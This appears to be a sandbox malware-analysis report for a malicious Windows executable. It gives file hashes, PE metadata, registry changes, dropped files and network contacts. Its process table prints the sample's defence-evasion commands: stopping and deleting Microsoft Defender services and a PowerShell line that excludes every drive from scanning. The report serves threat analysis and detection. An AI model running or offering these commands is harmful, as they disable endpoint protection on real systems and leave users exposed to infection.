| File name: | Sigmanly_763e2b180d4c5bcf52381c969d0de1582068826daf0d64ff2a9e58a2b1208fe0 |
| Full analysis: | https://app.any.run/tasks/ed2a12c9-2d7c-47df-b0dd-52bcaf6f50e4 |
| Verdict: | Malicious activity |
| Analysis date: | May 15, 2025, 14:52:02 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, 6 sections |
| MD5: | A619E22B74FA9D7EABC3FBF5E62DF219 |
| SHA1: | 39A19374F398DDA16343F690E6F3268C8438C7D0 |
| SHA256: | 763E2B180D4C5BCF52381C969D0DE1582068826DAF0D64FF2A9E58A2B1208FE0 |
| SSDEEP: | 98304:Oyi353coKogj0YjbdDXayrZryYCUVUZ/f9Mj2tikcazgDoY0291uQ4+zqkUxSd29:AgBkza0 |
| .exe | | | Win64 Executable (generic) (64.6) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (15.4) |
| .exe | | | Win32 Executable (generic) (10.5) |
| .exe | | | Generic Win/DOS Executable (4.6) |
| .exe | | | DOS Executable Generic (4.6) |
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2022:03:03 13:15:57+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 14.3 |
| CodeSize: | 203776 |
| InitializedDataSize: | 261632 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x1f530 |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 640 | sc stop "WinDefend" | C:\Windows\System32\sc.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Service Control Manager Configuration Tool Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 668 | C:\WINDOWS\system32\cmd.exe /c C:\Users\admin\AppData\Local\Temp\c2yHwUA.bat | C:\Windows\System32\cmd.exe | NSudoLG.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 668 | sc delete "webthreatdefsvc" | C:\Windows\System32\sc.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Service Control Manager Configuration Tool Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 728 | PowerShell "[System.IO.DriveInfo]::GetDrives() | ForEach-Object { Add-MpPreference -ExclusionPath $_.Name }; Start-Sleep -Milliseconds 1000" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | NSudoLG.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 732 | taskkill /f /pid "856" | C:\Windows\System32\taskkill.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Terminates Processes Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 736 | 7z x -aoa -bso0 -bsp1 "DKTolz.zip" -p"DDK" "Unlocker.exe" | C:\Users\admin\AppData\Local\Temp\Work\7z.exe | cmd.exe | ||||||||||||
User: SYSTEM Company: Igor Pavlov Integrity Level: SYSTEM Description: 7-Zip Standalone Console Exit code: 0 Version: 24.08 Modules
| |||||||||||||||
| 812 | reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f | C:\Windows\System32\reg.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Registry Console Tool Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 856 | Unlocker /dеlwd | C:\Users\admin\AppData\Local\Temp\Work\Unlocker.exe | cmd.exe | ||||||||||||
User: SYSTEM Integrity Level: SYSTEM Description: Unlocker by Eject Version: 1.1.0.0 Modules
| |||||||||||||||
| 968 | reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f | C:\Windows\System32\reg.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Registry Console Tool Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1040 | sc config "SecurityHealthService" start= disabled | C:\Windows\System32\sc.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Service Control Manager Configuration Tool Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (4400) nircmd.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\WINDOWS\System32\cmd.exe.FriendlyAppName |
Value: Windows Command Processor | |||
| (PID) Process: | (4400) nircmd.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\WINDOWS\System32\cmd.exe.ApplicationCompany |
Value: Microsoft Corporation | |||
| (PID) Process: | (1804) reg.exe | Key: | HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize |
| Operation: | write | Name: | AppsUseLightTheme |
Value: 0 | |||
| (PID) Process: | (2284) reg.exe | Key: | HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize |
| Operation: | write | Name: | AppsUseLightTheme |
Value: 0 | |||
| (PID) Process: | (4172) Unlocker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\DK |
| Operation: | write | Name: | CurrentDiskSize |
Value: 228911988736 | |||
| (PID) Process: | (856) Unlocker.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker |
| Operation: | write | Name: | Type |
Value: 1 | |||
| (PID) Process: | (856) Unlocker.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker |
| Operation: | write | Name: | Start |
Value: 3 | |||
| (PID) Process: | (856) Unlocker.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker |
| Operation: | write | Name: | ErrorControl |
Value: 1 | |||
| (PID) Process: | (856) Unlocker.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker |
| Operation: | write | Name: | ImagePath |
Value: C:\WINDOWS\TEMP\IObitUnlocker\IObitUnlocker.sys | |||
| (PID) Process: | (5864) reg.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Security |
| Operation: | delete key | Name: | (default) |
Value: | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6744 | Sigmanly_763e2b180d4c5bcf52381c969d0de1582068826daf0d64ff2a9e58a2b1208fe0.exe | C:\Users\admin\AppData\Local\Temp\c2yHwUA.bat | text | |
MD5:350D172630B12F10564C78EEF37E3F95 | SHA256:73BC1BD40DCB68AC6DBF25FFB5E0B708F43FD4CA8A17D08647EEB89641B37062 | |||
| 6744 | Sigmanly_763e2b180d4c5bcf52381c969d0de1582068826daf0d64ff2a9e58a2b1208fe0.exe | C:\Users\admin\AppData\Local\Temp\Work\nircmd.exe | executable | |
MD5:4A9DA765FD91E80DECFD2C9FE221E842 | SHA256:2E81E048AB419FDC6E5F4336A951BD282ED6B740048DC38D7673678EE3490CDA | |||
| 6744 | Sigmanly_763e2b180d4c5bcf52381c969d0de1582068826daf0d64ff2a9e58a2b1208fe0.exe | C:\Users\admin\AppData\Local\Temp\Work\DKTolz.zip | compressed | |
MD5:6B617C0196FE449E27C84532EC2C38E7 | SHA256:E3528C57765074D5D73021F747B26EDEFA15227D0F1A3B80A6CDEF21322C99CA | |||
| 856 | Unlocker.exe | C:\Windows\Temp\IObitUnlocker.zip | compressed | |
MD5:6833604A8B0F0BD4E65F14D5DEDB13FD | SHA256:F81163FE8E7C95157797F4D955BB6E9FCBB4C0E16A0798D459974E3320DAB942 | |||
| 728 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:9BE0C5C3A9F03166E4FB749FFEAFAD25 | SHA256:C734472E3050D1567F140155973F3F3E26F6FB598A61A7E21D6403F304EB1EE0 | |||
| 6744 | Sigmanly_763e2b180d4c5bcf52381c969d0de1582068826daf0d64ff2a9e58a2b1208fe0.exe | C:\Users\admin\AppData\Local\Temp\Work\7z.exe | executable | |
MD5:426CCB645E50A3143811CFA0E42E2BA6 | SHA256:CF878BFBD9ED93DC551AC038AFF8A8BBA4C935DDF8D48E62122BDDFDB3E08567 | |||
| 6744 | Sigmanly_763e2b180d4c5bcf52381c969d0de1582068826daf0d64ff2a9e58a2b1208fe0.exe | C:\Users\admin\AppData\Local\Temp\Work\cecho.exe | executable | |
MD5:E783BC59D0ED6CFBD8891F94AE23D1B3 | SHA256:5C1211559DDA10592CFEDD57681F18F4A702410816D36EDA95AEE6C74E3C6A47 | |||
| 6744 | Sigmanly_763e2b180d4c5bcf52381c969d0de1582068826daf0d64ff2a9e58a2b1208fe0.exe | C:\Users\admin\AppData\Local\Temp\Work\NSudoLG.exe | executable | |
MD5:423129DDB24FB923F35B2DD5787B13DD | SHA256:5094AD359D8CF6DC5324598605C35F68519CC5AF9C7ED5427E02A6B28121E4C7 | |||
| 728 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qydojf5k.4ti.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 856 | Unlocker.exe | C:\Windows\Temp\IObitUnlocker\IObitUnlocker.dll | executable | |
MD5:2C6233C8DBC560027EE1427F5413E4B1 | SHA256:37D2A1626DC205D60F0BEC8746AB256569267E4EF2F8F84DFF4D9D792AA3AF30 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2104 | svchost.exe | GET | 200 | 23.32.238.112:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
2104 | svchost.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
1804 | SIHClient.exe | GET | 200 | 2.16.168.199:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl | unknown | — | — | whitelisted |
1804 | SIHClient.exe | GET | 200 | 2.16.168.199:80 | http://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl | unknown | — | — | whitelisted |
1804 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl | unknown | — | — | whitelisted |
1804 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
1804 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Signing%20CA%202.1.crl | unknown | — | — | whitelisted |
1804 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.2.crl | unknown | — | — | whitelisted |
1804 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Signing%20CA%202.2.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
2104 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
2104 | svchost.exe | 23.32.238.112:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
2104 | svchost.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
6544 | svchost.exe | 20.190.159.68:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3216 | svchost.exe | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |